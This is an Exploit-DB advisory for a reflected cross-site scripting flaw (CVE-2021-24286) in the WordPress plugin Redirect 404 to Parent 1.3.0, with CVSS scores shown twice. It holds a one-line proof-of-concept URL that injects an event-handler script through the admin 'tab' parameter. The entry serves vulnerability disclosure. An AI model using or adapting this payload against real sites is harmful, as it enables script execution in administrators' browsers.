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exploitdb0xB9EDB-ID:50350
HistorySep 29, 2021 - 12:00 a.m.

WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting

2021-09-2900:00:00
0xB9
www.exploit-db.com
145

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.002 Low

EPSS

Percentile

60.6%

# Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2/3/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip
# Version: 1.3.0
# Tested on: Windows 10
# CVE: CVE-2021-24286

1. Description:
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.002 Low

EPSS

Percentile

60.6%